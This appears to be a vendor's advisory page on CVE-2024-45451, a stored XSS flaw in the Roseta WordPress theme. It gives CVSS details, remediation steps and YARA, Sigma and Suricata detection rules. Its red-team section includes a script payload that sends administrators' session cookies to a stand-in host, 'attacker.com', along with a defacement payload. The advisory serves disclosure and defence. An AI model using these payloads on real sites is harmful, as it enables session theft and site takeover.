CVE-2024-45451
Executive Summary
CVE-2024-45451 is a Stored Cross-Site Scripting (XSS) vulnerability in the Roseta WordPress theme developed by Cryoutcreations. The vulnerability exists in versions up to and including 1.3.0, where user-supplied input is not properly neutralized during web page generation. This allows an authenticated attacker with contributor-level access or higher to inject malicious scripts that are stored on the server and executed in the browsers of other users, including administrators. The CVSS score of 6.5 (Medium) reflects the need for user interaction and low privileges, but the impact can be severe in a WordPress ecosystem, potentially leading to session hijacking, defacement, or privilege escalation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress theme distributed via the official WordPress theme repository and third-party marketplaces. As a WordPress ecosystem component, the theme is typically installed via the WordPress admin dashboard or manually uploaded. The lack of a patch from the vendor (Cryoutcreations) means that site administrators must rely on manual mitigation or removal of the theme. No known supply chain compromise has been reported, but the unpatched status increases risk for all sites using this theme.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – An attacker needs contributor-level access or higher.
- User Interaction (UI): Required (R) – The victim must visit a page containing the malicious payload.
- Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited modification of content possible.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. While the CVSS score is 6.5, the stored XSS nature in a WordPress theme can lead to full site compromise if an administrator is targeted.
Deep Dive & Mechanics
The vulnerability resides in the Roseta theme’s handling of user-generated content, likely in customizer options, widget areas, or post/page content that is not properly sanitized. The theme fails to escape or validate input before rendering it in the browser, allowing an attacker to inject arbitrary HTML and JavaScript.
Attack Flow:
- An attacker with contributor-level access (or higher) logs into the WordPress admin.
- The attacker navigates to a vulnerable input field (e.g., a theme customizer option, a widget text area, or a custom field).
- The attacker injects a payload such as
<script>alert('XSS')</script>or a more sophisticated payload for session hijacking. - The payload is stored in the database.
- When an administrator or other user visits the affected page, the script executes in their browser.
WordPress Ecosystem Context: This is a WordPress theme vulnerability, not a server-level issue. The attack surface is limited to authenticated users, but the stored XSS can propagate to all visitors if the payload is placed in a publicly visible area.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable pattern. The theme likely uses functions like echo get_theme_mod('some_option') or the_content() without proper escaping.
Vulnerable Code (Example):
// In a theme template file
echo get_theme_mod('roseta_footer_text');
Patched Code (Expected):
// Properly escaped output
echo esc_html(get_theme_mod('roseta_footer_text'));
The fix would involve using WordPress escaping functions such as esc_html(), esc_attr(), or wp_kses_post() depending on the context.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress installation with the Roseta theme (version <= 1.3.0) active.
- An account with Contributor role or higher.
Steps:
- Log in to WordPress admin.
- Navigate to Appearance > Customize or a vulnerable widget area.
- In a text field (e.g., footer text, custom CSS, or widget), inject the following payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save the changes.
- Wait for an administrator to visit the affected page. The script will exfiltrate their session cookie.
Alternative Payload (for defacement):
<script>document.body.innerHTML='<h1>Hacked by Red Team</h1>';</script>
Blue Team
Detection:
- Monitor for unusual changes to theme options or widget content.
- Look for JavaScript payloads in database entries (e.g.,
wp_optionstable,wp_postmeta). - Use the detection rules provided below.
Mitigation:
- Immediately disable or remove the Roseta theme.
- Review all user accounts for unauthorized changes.
- Rotate all admin session cookies and passwords.
Indicators of Compromise (IOCs)
- File System: Modified theme files in
/wp-content/themes/roseta/(though the vulnerability is in the database, not files). - Database: Entries in
wp_options(theme_mods_roseta) orwp_postmetacontaining<script>tags. - Network: Outbound HTTP requests to unknown domains from the WordPress server.
- Logs: Unusual admin activity logs (e.g., changes to theme customizer by non-admin users).
Detection Engineering
YARA Rule
rule CVE_2024_45451_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Roseta theme options"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-45451"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$theme_option = /theme_mods_roseta/i
condition:
$theme_option and $xss_payload
}
Sigma Rule
title: Stored XSS in Roseta Theme Options
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS payloads in the Roseta WordPress theme options
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: wordpress
detection:
selection:
EventID: 1000 # Custom event for theme option changes
Data|contains:
- '<script'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in theme options (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-45451 - Stored XSS Payload in Roseta Theme"; flow:to_server; content:"theme_mods_roseta"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Roseta theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four).
- Remove the theme from the
/wp-content/themes/directory to prevent reactivation. - Audit all user accounts for unauthorized changes and remove any suspicious users.
- Scan the database for stored XSS payloads using the YARA rule above or manual SQL queries:
SELECT * FROM wp_options WHERE option_name LIKE '%theme_mods_roseta%' AND option_value LIKE '%<script%';
Long-Term Fix:
- Monitor the Cryoutcreations website for an official patch. If none is released, consider switching to an alternative theme permanently.
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in theme options.
- Enforce the principle of least privilege: restrict theme editing capabilities to trusted administrators only.
Valters IT Signature:
Valters IT
DevSecOps & CTI Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.